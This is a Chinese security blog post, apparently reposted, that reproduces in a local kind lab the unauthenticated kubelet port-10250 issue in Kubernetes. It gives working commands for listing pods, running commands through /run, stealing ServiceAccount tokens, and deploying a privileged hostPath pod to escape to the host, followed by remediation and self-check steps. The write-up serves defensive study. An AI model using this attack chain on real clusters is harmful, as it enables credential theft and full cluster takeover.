文章总结: 本文详细分析了Kuberneteskubelet10250端口因开启匿名访问且授权模式设为AlwaysAllow导致的未授权命令执行漏洞。攻击者可通过/pods端点获取节点所有Pod信息,再利用/run端点在容器内匿名执行任意命令,进而窃取ServiceAccountToken横向移动至kube-apiserver,最终通过创建特权Pod逃逸宿主机实现集群接管。修复建议包括关闭匿名访问、启用Webhook授权、网络隔离10250端口、启用NodeRestriction准入控制及定期使用kube-bench和kubeletctl扫描巡检。 综合评分: 84 文章分类: 云安全,渗透测试,漏洞分析,漏洞预警,红队
云原生未授权系列之kubelet未授权:匿名执行节点命令
原创
0x00 0x00
随笔漫记安全路
2026年8月21日 08:45 北京
在小说阅读器读本章
去阅读
声明:本文针对的是已公开、有官方修复方案的配置类安全问题(kubelet 未授权访问)。所有操作均在本地靶机环境中完成,仅用于安全研究与防御学习。请勿对未授权目标进行测试。
一、漏洞背景
1.1 kubelet 是什么
Kubernetes 集群里,每个节点上都跑着一个 kubelet 进程。它是节点的”大管家”——master 通过它告诉节点”该起哪个 Pod、该删哪个 Pod”,它就照着执行,并定期汇报节点和 Pod 的状态。
kubelet 不是被动等命令,它自己还开了一个 API 服务,监听两个端口:
| 端口 | 协议 | 作用 | | — | — | — | | 10250 | HTTPS | kubelet 主 API,提供最敏感的操作端点 | | 10255 | HTTP | 只读端点(只读端口,已在新版本废弃) |
10250 上有几个极其敏感的端点:
/pods—— 列出该节点上所有 Pod(含环境变量、挂载、ServiceAccount Token 路径)/run/{namespace}/{pod}/{container}—— 在指定容器里执行命令/exec、/attach、/portForward—— 交互式执行/端口转发/logs—— 读容器日志
正常情况下,访问 10250 必须通过认证 + 授权(Webhook 模式,由 kube-apiserver 校验)。但当配置不当时,匿名用户也能调这些端点——等于在节点上白捡一个命令执行。
1.2 漏洞成因
kubelet 的认证授权由两个配置控制:
# /var/lib/kubelet/config.yaml
authentication:
anonymous:
enabled: true # 允许匿名访问(漏洞根因之一)
authorization:
mode: AlwaysAllow # 授权全放行(漏洞根因之二)
anonymous.enabled: true—— 不带 token 也能连,身份是system:anonymousauthorization.mode: AlwaysAllow—— 任何请求都允许
这两个一叠加,10250 就完全裸奔了。运维通常不会主动这么配,但老旧集群、自建集群、或者为了”排障临时关掉认证忘改回来”,都会踩这个坑。
1.3 危害
匿名拿到 10250 后:
/pods列出节点所有 Pod,从环境变量/挂载里捞 ServiceAccount Token/run在容器里执行命令,直接拿到 shell- 用偷来的 Token 打 kube-apiserver,横向到整个集群
危害等级:高危
二、利用条件
| 条件 | 说明 | 本复现是否满足 |
| — | — | — |
| 10250 网络可达 | 攻击者能连到节点 kubelet 端口(内网可达 / 误暴露) | ✅ kind 映射端口 |
| anonymous-auth=true | 允许匿名连接,这是漏洞根因,非默认配置 | ✅ 手动改配置复现 |
| 授权放行(AlwaysAllow 或 RBAC 过宽) | 匿名身份能调 /run、/pods | ✅ 改成 AlwaysAllow 复现 |
| 无需受害者交互 | 攻击者主动连接即可 | ✅ 纯主动利用 |
| 无需任何凭证 | 不需要 token/证书 | ✅ 零认证 |
| 节点上有可用的 Pod | /run 需要指定一个真实存在的 Pod/容器 | ✅ 集群默认就有 |
关键判断:这不是默认可利用的漏洞,而是配置错误(关认证 + 授权放行)叠加后才触发。但一旦触发,从 /run 命令执行到拿集群控制权几乎没有门槛。
默认配置是否安全:kubeadm / kind 默认 anonymous.enabled: false,授权用 Webhook(由 apiserver 校验),默认是安全的。出问题的一定是被人改过配置或用了不规范的老集群。
三、环境搭建
用 kind 建集群,再”刻意复现”kubelet 匿名访问的配置。
3.1 创建集群
cat > kind-kubelet.yaml <<'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
extraPortMappings:
- containerPort: 10250
hostPort: 10250
- containerPort: 6443
hostPort: 6443
EOF
kind create cluster --config kind-kubelet.yaml --name kubelet-lab
验证:
kubectl get nodes
# NAME STATUS ROLES AGE VERSION
# kubelet-lab-control-plane Ready control-plane 1m v1.29.x
3.2 复现漏洞:开启匿名访问
进入控制面节点:
docker exec -it kubelet-lab-control-plane bash
查看 kubelet 当前配置:
cat /var/lib/kubelet/config.yaml | grep -A3 -i "anonymous\|authorization"
正常应该看到 anonymous.enabled: false、authorization.mode: Webhook。改成漏洞配置:
# 备份
cp /var/lib/kubelet/config.yaml /var/lib/kubelet/config.yaml.bak
# 用 sed 改两处
sed -i 's/enabled: false/enabled: true/' /var/lib/kubelet/config.yaml
sed -i 's/mode: Webhook/mode: AlwaysAllow/' /var/lib/kubelet/config.yaml
kind 节点内没有 systemd,直接 kill 进程让 kubelet 重启加载新配置:
# 找到 kubelet 进程并杀掉,它会被自动拉起
pkill kubelet
# 等几秒确认重启
ps -ef | grep kubelet | grep -v grep
exit
3.3 验证匿名访问已生效
# 不带任何 token/证书,直连 10250 的 /pods
curl -sk https://127.0.0.1:10250/pods | head -c 500
# 能返回一大串 JSON(节点上所有 Pod 信息),说明匿名访问已开启
正常加固的 kubelet,匿名访问
/pods会返回403 Forbidden;能返回数据即说明裸奔。
四、漏洞复现
攻击链全景
[1] 发现 10250 开放
│
[2] curl /pods 验证匿名访问 → 拿到节点所有 Pod 信息
│
[3] 从 Pod 信息里提取目标 namespace/pod/container
│
[4] curl /run/{ns}/{pod}/{container} → 在容器里执行命令
│
[5] 读 ServiceAccount Token → 横向打 kube-apiserver
│
[6] 用 token 创建特权 Pod → 逃逸宿主机 → 接管集群
4.1 信息收集:发现 10250
nmap -p 10250,10255 127.0.0.1
# 10250/tcp open ssl/http
10250 开放即高度可疑——这个端口只该对控制面开放。
4.2 验证匿名访问
# 列出节点上所有 Pod
curl -sk https://127.0.0.1:10250/pods > /tmp/pods.json
# 看看有哪些 Pod
python3 -c "
import json
data = json.load(open('/tmp/pods.json'))
for item in data['items']:
meta = item['metadata']
print(f\"{meta['namespace']}/{meta['name']}\")
"
输出类似:
kube-system/coredns-xxxxx
kube-system/etcd-kubelet-lab-control-plane
kube-system/kube-apiserver-xxxxx
default/...
/pods返回的信息里还包含每个容器的环境变量和挂载点——/var/run/secrets/kubernetes.io/serviceaccount这种路径就在里面,等于把”哪里有 Token”也告诉你了。
4.3 远程执行命令(核心)
kubelet 的 /run 端点可以在指定容器里执行命令。先挑一个 Pod(比如 kube-system 里随便一个):
# 提取一个目标 Pod
POD=$(python3 -c "
import json
data = json.load(open('/tmp/pods.json'))
print(data['items'][0]['metadata']['name'])
")
NS=$(python3 -c "
import json
data = json.load(open('/tmp/pods.json'))
print(data['items'][0]['metadata']['namespace'])
")
CONTAINER=$(python3 -c "
import json
data = json.load(open('/tmp/pods.json'))
print(data['items'][0]['spec']['containers'][0]['name'])
")
echo "目标: $NS/$POD/$CONTAINER"
执行命令:
# 在该容器里执行 id
curl -sk -XPOST \
"https://127.0.0.1:10250/run/$NS/$POD/$CONTAINER" \
-d "cmd=id"
# 返回: uid=0(root) 之类的
cmd 参数就是要执行的命令。到这一步,你已经在节点上的容器里拥有了命令执行能力,完全匿名,无需任何凭证。
4.4 偷 ServiceAccount Token 横向到 apiserver
每个 Pod 默认都挂载了所在 namespace 的 ServiceAccount Token。通过 /run 读取它:
# 读 token
TOKEN=$(curl -sk -XPOST \
"https://127.0.0.1:10250/run/$NS/$POD/$CONTAINER" \
-d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token")
echo "$TOKEN" | head -c 50
# eyJhbGciOiJSUzI1NiIs...
用这个 token 打 kube-apiserver:
kubectl --server=https://127.0.0.1:6443 \
--insecure-skip-tls-verify \
--token="$TOKEN" \
get pods --all-namespaces
能列 Pod,说明 token 有效,已经横向到了集群 API 层。
4.5 用工具自动化(kubeletctl)
手动 curl 比较繁琐,社区有现成工具 kubeletctl(https://github.com/cyberark/kubeletctl[1]):
# 扫描集群所有节点的 kubelet 是否匿名可访问
kubeletctl scan --server 127.0.0.1
# 列出所有 Pod
kubeletctl pods --server 127.0.0.1
# 在指定容器执行命令
kubeletctl exec --server 127.0.0.1 \
--namespace $NS --pod $POD --container $CONTAINER \
--command "cat /var/run/secrets/kubernetes.io/serviceaccount/token"
kubeletctl scan 能一键识别整个集群哪些节点 kubelet 裸奔,实战中常用。
4.6 进一步:拿集群控制权
如果偷到的 ServiceAccount 权限足够(比如绑了 cluster-admin,这种过度授权在现实中很常见),直接创建特权 Pod 逃逸宿主机——和 etcd 篇、Docker 篇的后段完全一样:
kubectl --server=https://127.0.0.1:6443 \
--insecure-skip-tls-verify \
--token="$TOKEN" apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata:
name: pwn
namespace: default
spec:
hostPID: true
nodeSelector:
kubernetes.io/hostname: kubelet-lab-control-plane
tolerations:
- key: node-role.kubernetes.io/control-plane
operator: Exists
containers:
- name: pwn
image: alpine
command: ["sleep","3600"]
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
EOF
Pod 起来后 nsenter --target 1 逃逸到宿主机,读 /etc/kubernetes/admin.conf 接管集群。至此完成 kubelet 未授权 → 节点命令执行 → 集群接管 的完整链路。
五、关键点解读
5.1 为什么 kubelet 匿名 = 节点失守
kubelet 的 /run 端点本质是”在容器里执行任意命令”。虽然命令在容器内执行(受容器隔离),但:
- 容器里通常有 ServiceAccount Token,偷出来就能横向到 apiserver
- 如果选中的 Pod 本身是特权 Pod(如一些监控 agent),命令执行可能直接波及宿主机
/pods泄露的 Pod 信息含环境变量,大量密码/key 直接暴露
所以匿名 kubelet 是”节点级命令执行 + 集群横向”的跳板,危害介于 Docker API(单机)和 etcd(全集群)之间。
5.2 和系列前两篇的区别
| 维度 | etcd 未授权 | Docker API 未授权 | kubelet 未授权 | | — | — | — | — | | 入口 | etcd 2379 | dockerd 2375 | kubelet 10250 | | 直接危害 | 偷集群数据 | 拿单台宿主机 shell | 节点容器命令执行 | | 横向能力 | 强(Token 直接打 apiserver) | 弱(限单机) | 强(偷 token 打 apiserver) | | 利用门槛 | 中(需从 etcd 解 JWT) | 低(一条 docker run) | 中(需构造 /run 请求) |
三者各有侧重,放在一起正好覆盖了云原生攻击面的三种典型路径。
六、踩坑记录
| 问题 | 原因 | 解决 |
| — | — | — |
| curl /pods 返回 403 | anonymous-auth 还是 false,或授权是 Webhook | 确认 config.yaml 改成了 enabled: true + mode: AlwaysAllow,并重启 kubelet |
| pkill kubelet 后没重启 | kind 节点内 kubelet 不是 systemd 管的 | kind 的 kubelet 是静态进程,kill 后由容器内的 supervisor 拉起;若没拉起,docker restart 节点容器 |
| /run 返回空 | cmd 参数没传对,或 Pod 名/容器名拼错 | /run/{ns}/{pod}/{container} 路径要精确,从 /pods 输出里复制 |
| /run 报 container not found | Pod 里有多个容器,只指定了第一个 | 用 /pods 确认所有容器名,指定正确的那个 |
| 偷的 token 用不了 | 1.24+ 的 SA token 是 BoundServiceAccountToken,有受众和过期限制 | 选 kube-system 里长期运行的 Pod(如 coredns),token 更稳定 |
| kubectl 用 token 报 Unauthorized | apiserver 启用了 --anonymous-auth=false 且 token 过期 | 换一个 Pod 重偷;apiserver 的 anonymous 和 kubelet 的是两回事 |
七、修复与防御
7.1 立即修复(根治)
# /var/lib/kubelet/config.yaml
authentication:
anonymous:
enabled: false # 关闭匿名访问
webhook:
enabled: true # 用 webhook 认证(由 apiserver 校验 token)
authorization:
mode: Webhook # 用 webhook 授权(由 apiserver 校验 RBAC)
改完重启 kubelet。这样 10250 必须带有效 token 才能访问,匿名请求直接 401。
7.2 纵深防御
| 层面 | 措施 |
| — | — |
| 网络隔离 | 10250 仅允许控制面节点访问,对业务网/公网全部拒绝 |
| RBAC 收敛 | 即便认证绕过,最小权限 RBAC 也能限制能操作的资源;定期审计 clusterrolebindings |
| NodeRestriction 准入 | 启用 --enable-admission-plugins=NodeRestriction,限制 kubelet 只能操作自己节点上的资源,不能越权 |
| Token 短期化 | 升级到 BoundServiceAccountToken(有过期 + 受众绑定),偷到的 token 很快失效 |
| 审计日志 | 开启 apiserver audit,监控匿名访问 10250、异常 /run 调用 |
| 定期扫描 | 用 kube-bench 跑 CIS 基线;用 kubeletctl scan 巡检所有节点 |
7.3 快速自检命令
# 1. 检查 kubelet 是否关了匿名访问
docker exec kubelet-lab-control-plane \
grep -A2 "anonymous" /var/lib/kubelet/config.yaml
# 期望: enabled: false
# 2. 检查授权模式
docker exec kubelet-lab-control-plane \
grep "mode" /var/lib/kubelet/config.yaml
# 期望: mode: Webhook
# 3. 从外部测试 10250 匿名访问(在非控制面机器执行)
curl -sk https://x.x.x.x:10250/pods
# 期望: 403 Forbidden 或 Connection refused
八、总结
| 阶段 | 攻击者动作 | 防御者应做 | | — | — | — | | 入口 | 扫描发现 10250 开放 | 10250 网络隔离,仅控制面可达 | | 突破 | 匿名 curl /pods 拿 Pod 信息 | anonymous-auth=false + Webhook 授权 | | 执行 | /run 在容器里执行命令 | NodeRestriction 限制 kubelet 越权 | | 横向 | 偷 SA Token 打 apiserver | Token 短期化 + RBAC 最小权限 | | 接管 | 创建特权 Pod 逃逸 | PodSecurity 拒绝 privileged/hostPID |
核心结论:kubelet 10250 匿名访问是”节点级命令执行 + 集群横向”的典型路径。修复成本极低(关匿名 + Webhook 授权),但一旦疏忽,从节点执行到集群接管几乎没有门槛。务必作为集群安全基线的必查项。
参考
- Kubernetes 官方文档 – kubelet 认证授权:https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/[2]
- kubeletctl 工具:https://github.com/cyberark/kubeletctl[3]
- CIS Kubernetes Benchmark(kubelet 相关条目)
引用链接
[1]https://github.com/cyberark/kubeletctl
[2]https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/
[3]https://github.com/cyberark/kubeletctl
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:随笔漫记安全路 0x00 0x00《云原生未授权系列之kubelet未授权:匿名执行节点命令》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论